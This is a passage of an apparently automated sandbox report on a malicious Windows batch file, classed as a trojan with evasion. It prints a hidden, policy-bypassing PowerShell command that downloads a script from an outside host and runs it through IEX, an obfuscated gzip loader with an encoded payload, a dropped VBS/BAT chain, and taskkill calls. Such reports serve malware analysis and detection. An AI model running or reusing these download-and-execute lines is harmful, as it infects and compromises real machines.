OBIzikRJr/2QBbuoIX8qmynyykgMsSjx4jjzVWq0uFgZaA07/KBTZk0Jf2VNzcjel8WtGFlib6sAnEZ6RSsarG5TJJ+qVLEPf0eq9fa+0iU6BVsckJpTsFQJ1Ryc2pbSGwIGss/tRYwyjYIDNENp7z5HnKyYOYC5xX4SFRzQCG2O21eGFIZBc//+2eKAcuznrHAZ8htQpzT+Ka0JPUV1xCZRq/F67d54ep9Cie4P/JTVwqzB7wHBjwNHXvumVwrR6mCJzMuAGxW5OsWyLXzUoEU5/zX99VZ26oHuSwrq+pR5s66iMSSCCf40g3DJ+7NBJvsEusovAfgMgZ0BVi7QEt8l0JD4ZwCswr5Vo+g3N6lv7gvmf8h9pGfl2aLZ17TYWtzd7kjKwli9ygXgf9HWt/iV0lrn0O0GixT4oU3e1933kQfh8O7orfuMhqOUAbP4r6Fdcab/E+ZsAKLbWgWQV73WNmsgV4zCpCYtNAQWA9j+EYTYAifFwm4zZ6NIgsO6f9wBXL8d80ETU8GpoTYr4OyQs17/B/q7dFBG/NyxiFpXVoc6SB8kdVJ/JjhksZMGtSOx4zq4JgstiwBY9zfozKNjMAEstTLf3Ny81Kn5Bx9wPgrTAXr0V2aMgcEakTCzwOvg1X0Db0Gq5nVWL+eHVPjYtvWIhXoA1UdtbVxyClt253zAKVS9jRnX+5sky/asepjoAiaiGcO7Tyh8WQYoyLPzdHD/WQrtqdkgKUPn/+XPznzKyvXsXTDnDLUb9pdOZQQQTEnW3LZkmAtlfoyfxXm+bGwfzUFydnGhmkHUlXTzlRcZRPw98GHGX9/BBlmA=', 'NgUdLi02j9105GsOXgZgmA/efiX8Iex7x3bY5ksliBEO8VevhXo5hlIMMXwn8mgYaDJGRzewfzBJG1mNrk1ytQ==', 'nRv20pY7uhKCOgv4rOWdh0m5CUOmDH8tXQN

Source: 19.2.powershell.exe.25702485170.7.raw.unpack, uZZaicMPQoeTt.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 19.2.powershell.exe.25702485170.7.raw.unpack, uZZaicMPQoeTt.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 19.2.powershell.exe.25701854fd0.5.raw.unpack, uZZaicMPQoeTt.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 19.2.powershell.exe.25701854fd0.5.raw.unpack, uZZaicMPQoeTt.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.expl.evad.winBAT@38/13@5/4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\AXAGFIIEZBBS.bat

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7100:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Mutant created: \Sessions\1\BaseNamedObjects\AsyncMutex_6SI8OkPnk
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5784:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_acrgl1pt.tjp.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Pe4905VGl1.bat" "

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\WindowsHost\MJMDVSAJFXR.vbs"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: [IO.Compression.CompressionMode]::Decompress) $gzipStream.CopyTo( $output ) $gzipStream.Close()$input.Close()[byte[]] $byteOutArray = $output.ToArray() Write-Output $byteOutArray }}[byte[]] $TZPFISFK = VHPDGARDLG(31,139,8,0,0,0,0,0,4,0,180,125,9,124,91,197,209,248,190,39,249,233,240,145,200,135,108,199,103,14,59,178,115,135,0,78,76,14,29,182,37,75,178,37,203,151,20,46,157,150,100,73,79,126,146,108,203,33,33,148,163,64,9,148,82,10,129,82,110,90,218,242,81,74,251,81,10,124,92,133,148,82,248,56,219,114,164,37,208,146,30,20,62,10,95,41,45,199,127,102,223,211,97,199,161,244,251,253,75,235,121,51,179,179,179,179,179,187,179,199,219,167,216,61,95,38,50,66,136,28,254,62,253,148,144,31,17,241,191,93,228,159,255,183,31,254,42,90,126,92,65,126,160,122,106,249,143,24,219,83,203,135,195,145,84,107,82,224,39,4,111,188,213,239,77,36,248,116,171,47,216,42,100,18,173,145,68,171,105,208,213,26,231,3,193,245,229,229,234,85,146,14,71,15,33,54,70,70,50,151,109,9,228,244,190,70,88,166,148,81,18,242,17,16,106,145,247,141,101,12,33,173,128,180,50,162,117,136,179,162,221,132,20,158,228,76,134,242,9,77,62,243,124,66,150,210,255,23,158,249,7,253,207,4,122,199,136,168,247,83,197,34,149,220,197,144,178,207,225,139,99,254,3,251,148,69,164,18,104,115,17,189,62,29,156,77,195,243,150,191,139,178,180,174,236,49,42,206,92,47,164,4,63,224,212,54,172,59,42,253,100,129,137,240,255,245,66,48,198,131,96,153,100,51,213,197,49,11,229,12,11,205,220,191,76,148,49,211,226,75,200,218,57,66,234,110,32,180,79,64,10,247,185,235,43,253,247,224,159,154,71,255,241,212,85,221,223,175,103,87,109,188,117,214,72,182,143,154,158,107,246,221,251,194,187,251,143,190,249,232,86,253,122,178,129,156,10,114,205,172,174,1,26,183,115,217,190,106,104,188,206,102,118,63,125,46,219,87,35,145,53,34,169,149,72,173,72,214,74,100,173,72,214,73,100,157,72,214,75,100,189,72,46,147,200,101,34,217,32,62,26,37,110,163,72,54,73,100,147,72,54,75,36,125,118,178,58,61,24,169,253,68,214,185,121,95,41,112,100,188,1,141,94,159,66,219,247,83,133,111,234,58,192,77,219,116,80,39,93,39,98,205,136,173,65,172,26,177,213,136,97,39,214,129,8,183,21,29,90,173,203,162,150,125,45,141,186,235,81,79,11,232,105,89,38,226,208,230,114,237,254,229,168,121,116,95,27,60,116,39,64,182,253,237,136,221,128,185,254,34,220,218,77,146,186,239,0,46,220,137,152,128,217,86,64,122,245,39,220,22,144,77,25,49,3,102,221,247,93,76,194,172,45,229,251,87,83,149,186,187,129,149,250,1,128,214,86,232,33,252,15,81,165,239,108,168,130,252,147,26,232,59,172,54,154,122,20,115,117,162,120,98,223,6,120,108,197,241,66,49,254,49,72,170,222,143,104,231,190,125,75,209,38,104,8,245,214,37,88,61,43,86,175,4,49,104,95,174,115,84,200,158,66,146,251,52,40,68,77,220,130,185,254,43,117,47,36,182,9,53,43,72,146,191,5,80,225,174,93,128,221,5,24,255,31,0,116,80,127,174,245,247,208,251,116,213,104,218,203,199,200,255,178,91,146,111,19,81,100,178,11,20,64,3,253,15,22,121,34,22,185,62,21,71,135,156,140,248,31,143,81,247,44,22,127,27,101,174,203,49,117,239,67,102,2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "CCleanerBrowser.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "aspnet_regbrowsers.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "aspnet_compiler.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "AppLaunch.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "InstallUtil.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "jsc.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "MSBuild.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "RegAsm.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "cvtres.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "RegSvcs.exe")

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: taskkill.exe, 00000009.00000003.1569346683.000001E5A3019000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000009.00000003.1569577646.000001E5A3019000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "InstallUtil.exe")T;.CMDA
Source: taskkill.exe, 00000009.00000002.1570148616.000001E5A3019000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "InstallUtil.exe")T;.CMD
Source: taskkill.exe, 00000005.00000003.1560984895.000002167F7EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "CCleanerBrowser.exe")es;C:\Prog;
Source: taskkill.exe, 00000005.00000003.1561090941.000002167F7EA000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000005.00000002.1561439790.000002167F7EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "CCleanerBrowser.exe")es;C:\Prog

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Pe4905VGl1.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe CMD /C pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')\|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')\|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM CCleanerBrowser.exe /F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM aspnet_regbrowsers.exe /F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM aspnet_compiler.exe /F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM AppLaunch.exe /F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM InstallUtil.exe /F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM jsc.exe /F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM MSBuild.exe /F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM RegAsm.exe /F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM cvtres.exe /F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM RegSvcs.exe /F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\WindowsHost\MJMDVSAJFXR.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\AXAGFIIEZBBS.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& 'C:\AMRKKUAMRKKsAMRKKeAMRKKrAMRKKs\PAMRKKuAMRKKbAMRKKlAMRKKiAMRKKc\LMKGJHPBNG.ps1'.replace('AMRKK','')"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe CMD /C pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')\|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')\|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM CCleanerBrowser.exe /F	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM aspnet_regbrowsers.exe /F	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM aspnet_compiler.exe /F	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM AppLaunch.exe /F	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM InstallUtil.exe /F	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM jsc.exe /F	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM MSBuild.exe /F	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM RegAsm.exe /F	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM cvtres.exe /F	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM RegSvcs.exe /F	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\WindowsHost\MJMDVSAJFXR.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\AXAGFIIEZBBS.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& 'C:\AMRKKUAMRKKsAMRKKeAMRKKrAMRKKs\PAMRKKuAMRKKbAMRKKlAMRKKiAMRKKc\LMKGJHPBNG.ps1'.replace('AMRKK','')"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windowscodecs.dll	Jump to behavior
